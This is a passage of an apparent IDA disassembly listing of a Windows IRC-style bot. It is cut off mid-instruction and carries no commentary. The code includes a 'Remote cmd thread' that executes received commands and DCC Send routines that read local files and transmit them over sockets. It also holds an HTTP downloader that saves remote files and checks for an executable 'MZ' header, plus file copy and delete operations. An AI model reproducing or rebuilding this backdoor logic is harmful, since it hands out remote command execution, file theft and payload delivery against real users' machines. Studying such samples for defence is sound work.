locret_401E36 ; --------------------------------------------------------------------------- loc_401D8B: ; CODE XREF: sub_401D6E+16j push 0 push 0 push 0 push [ebp+arg_4] push offset aOpen ; "open" push 0 call dword_4171D0 jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401DA6: ; CODE XREF: sub_401D6E+10j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401DBC jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401D6E+4Aj cmp [ebp+arg_4], 0 jz short loc_401DD9 push 200h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch loc_401DD9: ; CODE XREF: sub_401D6E+52j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_405F67 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push [ebp+var_4] push offset sub_401981 call sub_4095A4 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_401E0B jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401E0B: ; CODE XREF: sub_401D6E+99j push offset asc_418214 ; "\r\n" push [ebp+arg_4] call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_4] call sub_401D39 pop ecx test eax, eax jnz short locret_401E36 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_40D53F pop ecx pop ecx locret_401E36: ; CODE XREF: sub_401D6E+18j ; sub_401D6E+33j ... leave retn sub_401D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E38 proc near ; DATA XREF: sub_4024F3+10Bo var_614 = qword ptr -614h var_60C = qword ptr -60Ch var_604 = dword ptr -604h var_600 = dword ptr -600h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = dword ptr -5E8h var_5E4 = dword ptr -5E4h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5BB = byte ptr -5BBh var_4B7 = byte ptr -4B7h var_3B7 = byte ptr -3B7h var_3AD = byte ptr -3ADh var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 604h push 3D6h push [ebp+arg_0] lea eax, [ebp+var_5E0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_5BB] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_5BB] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_5E4], eax cmp [ebp+var_5E4], 0 jnz short loc_401EA3 push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: sub_401E38+56j push 2710h push 0 lea eax, [ebp+var_3B7] push eax lea eax, [ebp+var_4B7] push eax call sub_4050EA add esp, 10h mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_401EEE push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: sub_401E38+95j lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax mov eax, [ebp+var_5E0] push dword ptr [eax] push offset dword_418280 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_5E8], eax and [ebp+var_204], 0 loc_401F2A: ; CODE XREF: sub_401E38:loc_401FD8j push 0 push 200h lea eax, [ebp+var_200] push eax push [ebp+var_208] call dword_417248 ; recv mov [ebp+var_5F0], eax cmp [ebp+var_5F0], 0 jz short loc_401F5F cmp [ebp+var_5F0], 200h jbe short loc_401F61 loc_401F5F: ; CODE XREF: sub_401E38+119j jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: sub_401E38+125j mov eax, [ebp+var_204] add eax, [ebp+var_5F0] mov [ebp+var_204], eax push [ebp+var_204] call dword_41724C ; htonl mov [ebp+var_5F4], eax push 4 lea eax, [ebp+var_5F4] push eax push [ebp+var_208] call sub_4053BF add esp, 0Ch push [ebp+var_5E4] push [ebp+var_5F0] push 1 lea eax, [ebp+var_200] push eax call sub_416B7C ; fwrite add esp, 10h cmp [ebp+var_5F0], 200h jnb short loc_401FC7 jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FC7: ; CODE XREF: sub_401E38+18Bj mov eax, [ebp+var_5E0] cmp dword ptr [eax+4], 0 jz short loc_401FD8 jmp loc_4020BC ; --------------------------------------------------------------------------- loc_401FD8: ; CODE XREF: sub_401E38+199j jmp loc_401F2A ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401E38:loc_401F5Fj ; sub_401E38+18Dj push [ebp+var_5E4] call sub_416B76 ; ftell pop ecx mov [ebp+var_5EC], eax call sub_416B64 ; clock cmp [ebp+var_5E8], eax jnz short loc_402008 call sub_416B64 ; clock dec eax mov [ebp+var_5E8], eax loc_402008: ; CODE XREF: sub_401E38+1C2j mov eax, [ebp+var_5EC] cdq mov ecx, 400h idiv ecx mov [ebp+var_5F8], eax fild [ebp+var_5F8] fstp [ebp+var_5FC] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_600], eax fild [ebp+var_600] fdiv flt_417270 fdivr [ebp+var_5FC] push ecx push ecx fstp [esp+60Ch+var_60C] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_604], eax fild [ebp+var_604] fdiv flt_417270 push ecx push ecx fstp [esp+614h+var_614] lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax push offset dword_418234 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 20h loc_402094: ; CODE XREF: sub_401E38:loc_4020BCj push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_208] call sub_40538D pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp short locret_4020BE ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_401E38+19Bj jmp short loc_402094 ; --------------------------------------------------------------------------- locret_4020BE: ; CODE XREF: sub_401E38+66j ; sub_401E38+B1j ... leave retn 4 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C2 proc near ; DATA XREF: sub_40260D+7Co var_A2C = qword ptr -0A2Ch var_A24 = qword ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = byte ptr -0A04h var_9FC = dword ptr -9FCh var_9F8 = dword ptr -9F8h var_9F4 = dword ptr -9F4h var_9F0 = byte ptr -9F0h var_8EC = dword ptr -8ECh var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_8BF = byte ptr -8BFh var_8BE = byte ptr -8BEh var_7BB = byte ptr -7BBh var_618 = dword ptr -618h var_614 = byte ptr -614h var_210 = byte ptr -210h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A1Ch push 2CCh push [ebp+arg_0] lea eax, [ebp+var_8E4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_8BF] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_9F8], eax jmp short loc_40210D ; --------------------------------------------------------------------------- loc_402100: ; CODE XREF: sub_4020C2:loc_40215Ej mov eax, [ebp+var_9F8] dec eax mov [ebp+var_9F8], eax loc_40210D: ; CODE XREF: sub_4020C2+3Cj cmp [ebp+var_9F8], 0 jnz short loc_40212D lea eax, [ebp+var_8BF] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40212D: ; CODE XREF: sub_4020C2+52j mov eax, [ebp+var_9F8] movsx eax, [ebp+eax+var_8BF] cmp eax, 5Ch jnz short loc_40215E mov eax, [ebp+var_9F8] lea eax, [ebp+eax+var_8BE] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: sub_4020C2+7Cj jmp short loc_402100 ; --------------------------------------------------------------------------- loc_402160: ; CODE XREF: sub_4020C2+69j ; sub_4020C2+9Aj mov [ebp+var_8E8], 10h lea eax, [ebp+var_8E8] push eax lea eax, [ebp+var_10] push eax call sub_40CF25 push eax call dword_417240 ; getsockname push 2 push 0 push 0 push 401h lea eax, [ebp+var_614] push eax push [ebp+var_8E8] lea eax, [ebp+var_10] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_4021BA push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: sub_4020C2+E3j push 0Ah lea eax, [ebp+var_A04] push eax push 1388h push 400h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 lea eax, [ebp+var_A04] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_9FC], eax cmp [ebp+var_9FC], 0 jnz short loc_40220F push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40220F: ; CODE XREF: sub_4020C2+138j push offset aRb ; "rb" lea eax, [ebp+var_8BF] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8EC], eax cmp [ebp+var_8EC], 0 jnz short loc_402250 push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: sub_4020C2+16Dj push 2 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_8EC] call sub_416B76 ; ftell pop ecx mov [ebp+var_A08], eax push 0 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch lea eax, [ebp+var_614] push eax lea eax, [ebp+var_9F0] push eax push offset aDccSendSS ; "DCC Send %s (%s)" lea eax, [ebp+var_8E0] push eax call sub_40D420 add esp, 10h push [ebp+var_A08] lea eax, [ebp+var_A04] push eax lea eax, [ebp+var_614] push eax call dword_417244 ; inet_addr push eax call dword_41724C ; htonl push eax lea eax, [ebp+var_9F0] push eax push offset dword_418348 lea eax, [ebp+var_8E0] push eax call sub_40D4AB add esp, 18h push 0EA60h push [ebp+var_9FC] call sub_4048EF pop ecx pop ecx mov [ebp+var_618], eax cmp [ebp+var_618], 0 jz short loc_40230F cmp [ebp+var_618], 0FFFFFFFFh jnz short loc_40233A loc_40230F: ; CODE XREF: sub_4020C2+242j push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_4020C2+24Bj lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax mov eax, [ebp+var_8E4] push dword ptr [eax] push offset dword_418320 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_9F4], eax loc_40236F: ; CODE XREF: sub_4020C2:loc_40240Dj push [ebp+var_8EC] push 200h push 1 lea eax, [ebp+var_210] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_A0C], eax cmp [ebp+var_A0C], 0 jz short loc_4023A6 cmp [ebp+var_A0C], 200h jbe short loc_4023A8 loc_4023A6: ; CODE XREF: sub_4020C2+2D6j jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: sub_4020C2+2E2j push [ebp+var_A0C] lea eax, [ebp+var_210] push eax push [ebp+var_618] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4023EE lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182F4 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 10h jmp loc_4024ED ; --------------------------------------------------------------------------- loc_4023EE: ; CODE XREF: sub_4020C2+303j cmp [ebp+var_A0C], 200h jnb short loc_4023FC jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023FC: ; CODE XREF: sub_4020C2+336j mov eax, [ebp+var_8E4] cmp dword ptr [eax+4], 0 jz short loc_40240D jmp loc_4024EB ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: sub_4020C2+344j jmp loc_40236F ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: sub_4020C2:loc_4023A6j ; sub_4020C2+338j call sub_416B64 ; clock cmp [ebp+var_9F4], eax jnz short loc_40242B call sub_416B64 ; clock dec eax mov [ebp+var_9F4], eax loc_40242B: ; CODE XREF: sub_4020C2+35Bj mov eax, [ebp+var_A08] cdq mov ecx, 400h idiv ecx mov [ebp+var_A10], eax fild [ebp+var_A10] fstp [ebp+var_A14] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A18], eax fild [ebp+var_A18] fdiv flt_417270 fdivr [ebp+var_A14] push ecx push ecx fstp [esp+0A24h+var_A24] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A1C], eax fild [ebp+var_A1C] fdiv flt_417270 push ecx push ecx fstp [esp+0A2Ch+var_A2C] lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182B0 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 20h loc_4024B7: ; CODE XREF: sub_4020C2:loc_4024EBj ; sub_4020C2:loc_4024EDj push [ebp+var_618] call sub_40538D pop ecx push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp short locret_4024EF ; --------------------------------------------------------------------------- loc_4024EB: ; CODE XREF: sub_4020C2+346j jmp short loc_4024B7 ; --------------------------------------------------------------------------- loc_4024ED: ; CODE XREF: sub_4020C2+327j jmp short loc_4024B7 ; --------------------------------------------------------------------------- locret_4024EF: ; CODE XREF: sub_4020C2+F3j ; sub_4020C2+148j ... leave retn 4 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_40D871+203p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_402511 cmp [ebp+arg_8], 0 jz short loc_402511 cmp [ebp+arg_C], 0 jz short loc_402511 cmp [ebp+arg_10], 0 jnz short loc_402516 loc_402511: ; CODE XREF: sub_4024F3+Aj ; sub_4024F3+10j ... jmp locret_40260B ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_4024F3+1Cj push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402531 cmp [ebp+var_8], 0FFFFh jbe short loc_402536 loc_402531: ; CODE XREF: sub_4024F3+33j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402536: ; CODE XREF: sub_4024F3+3Cj push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402551 cmp [ebp+var_8], 40000000h jbe short loc_402556 loc_402551: ; CODE XREF: sub_4024F3+53j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4024F3+5Cj push 3D6h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40256F jmp locret_40260B ; --------------------------------------------------------------------------- loc_40256F: ; CODE XREF: sub_4024F3+75j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 100h push [ebp+arg_C] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B58 ; strncpy add esp, 0Ch push 6 push [ebp+arg_10] mov eax, [ebp+var_4] add eax, 229h push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+22Fh], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 233h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41837C push 0 push [ebp+var_4] push offset sub_401E38 call sub_4095A4 add esp, 18h locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j ; sub_4024F3:loc_402531j ... leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_40261D cmp [ebp+arg_8], 0 jnz short loc_40261F loc_40261D: ; CODE XREF: sub_40260D+8j jmp short locret_402696 ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_40260D+Ej push 2CCh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_402635 jmp short locret_402696 ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_40260D+24j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4183A0 push 0 push [ebp+var_4] push offset sub_4020C2 call sub_4095A4 add esp, 18h locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj ; sub_40260D+26j leave retn sub_40260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402698 proc near ; CODE XREF: sub_402A32+5C9p var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 420h push 2710h push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_4050EA add esp, 10h mov [ebp+var_414], eax cmp [ebp+var_414], 0 jnz short loc_4026CC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4026CC: ; CODE XREF: sub_402698+2Bj push [ebp+arg_8] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 401h lea eax, [ebp+var_404] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_4053BF add esp, 0Ch push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402745 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_402758 loc_402745: ; CODE XREF: sub_402698+A2j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_402758: ; CODE XREF: sub_402698+ABj push offset asc_4183EC ; "\r\n\r\n" lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_40278D push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40278D: ; CODE XREF: sub_402698+E0j mov eax, [ebp+var_410] add eax, 4 mov [ebp+var_410], eax push offset aContentLength ; "Content-Length: " lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_40C], eax cmp [ebp+var_40C], 0 jz short loc_4027CC mov eax, [ebp+var_40C] cmp eax, [ebp+var_410] jbe short loc_4027DF loc_4027CC: ; CODE XREF: sub_402698+124j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4027DF: ; CODE XREF: sub_402698+132j and [ebp+var_41C], 0 lea eax, [ebp+var_41C] push eax push offset aContentLengthU ; "Content-Length: %u\r\n" push [ebp+var_40C] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_408], eax cmp [ebp+var_408], 1 jnz short loc_402818 cmp [ebp+var_41C], 0 jnz short loc_40282B loc_402818: ; CODE XREF: sub_402698+175j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40282B: ; CODE XREF: sub_402698+17Ej cmp [ebp+arg_1C], 0 jz short loc_40285D cmp [ebp+var_41C], 2 jb short loc_40284A mov eax, [ebp+var_410] movzx eax, word ptr [eax] cmp eax, 5A4Dh jz short loc_40285D loc_40284A: ; CODE XREF: sub_402698+1A0j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: sub_402698+197j ; sub_402698+1B0j cmp [ebp+arg_18], 0 jz short loc_40286E mov eax, [ebp+arg_18] mov ecx, [ebp+var_41C] mov [eax], ecx loc_40286E: ; CODE XREF: sub_402698+1C9j push [ebp+arg_14] call sub_4167B9 pop ecx test eax, eax jz short loc_40288E push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_402698+1E1j push offset dword_4182AC push [ebp+arg_14] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 0 jnz short loc_4028BF push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4028BF: ; CODE XREF: sub_402698+212j push [ebp+var_418] mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax push ecx push 1 push [ebp+var_410] call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax mov eax, [ebp+var_41C] sub eax, ecx mov [ebp+var_41C], eax loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj cmp [ebp+arg_20], 0 jz short loc_40293F mov eax, [ebp+arg_20] cmp dword ptr [eax+4], 0 jz short loc_40293F push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_402698+27Cj ; sub_402698+285j push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402976 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_40299E loc_402976: ; CODE XREF: sub_402698+2D3j push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push [ebp+arg_14] call dword_4170AC ; DeleteFileA xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402698+2DCj mov eax, [ebp+var_420] cmp eax, [ebp+var_41C] jbe short loc_4029C8 push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_4029C8: ; CODE XREF: sub_402698+312j push [ebp+var_418] push [ebp+var_420] push 1 lea eax, [ebp+var_404] push eax call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_41C] sub eax, [ebp+var_420] mov [ebp+var_41C], eax cmp [ebp+var_41C], 0 jnz short loc_402A1D push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_402698+366j jmp loc_402910 ; --------------------------------------------------------------------------- locret_402A22: ; CODE XREF: sub_402698+2Fj ; sub_402698+BBj ... leave retn sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A24 proc near ; CODE XREF: sub_402A32+625p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2B proc near ; CODE XREF: sub_402A32+673p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A32 proc near ; DATA XREF: sub_403260+BCo var_814 = qword ptr -814h var_804 = qword ptr -804h var_7FC = dword ptr -7FCh var_7F8 = qword ptr -7F8h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_6D5 = byte ptr -6D5h var_6D4 = byte ptr -6D4h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = byte ptr -6BCh var_6BB = byte ptr -6BBh var_63C = dword ptr -63Ch var_638 = byte ptr -638h var_637 = byte ptr -637h var_632 = byte ptr -632h var_631 = byte ptr -631h var_534 = byte ptr -534h var_430 = byte ptr -430h var_2A8 = byte ptr -2A8h var_2A7 = byte ptr -2A7h var_2A6 = byte ptr -2A6h var_2A3 = byte ptr -2A3h var_296 = byte ptr -296h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = byte ptr -284h var_283 = byte ptr -283h var_204 = byte ptr -204h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 804h push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_63C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_638] push eax lea eax, [ebp+var_7DC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_288], 0 mov [ebp+var_28C], 1 and [ebp+var_6CC], 0 mov al, byte_41DE30 mov [ebp+var_284], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_283] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_6BC], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_6BB] rep stosd stosw stosb and [ebp+var_6C8], 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_4185CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 14h push 7 push offset dword_4185C4 lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_402B93 push 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_631] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_402B8E call dword_417064 ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_402B58 lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41858C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h jmp short loc_402B7B ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: sub_402A32+FFj lea eax, [ebp+var_631] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41855C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_402B7B: ; CODE XREF: sub_402A32+124j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: sub_402A32+F4j jmp loc_403256 ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: sub_402A32+D6j lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402BB5 ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_402A32:loc_402CD8j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402BB5: ; CODE XREF: sub_402A32+174j cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402CDD mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 3Ah jnz loc_402CD8 mov [ebp+var_7E0], 1 jmp short loc_402BF2 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: sub_402A32:loc_402CD3j mov eax, [ebp+var_7E0] inc eax mov [ebp+var_7E0], eax loc_402BF2: ; CODE XREF: sub_402A32+1B1j mov 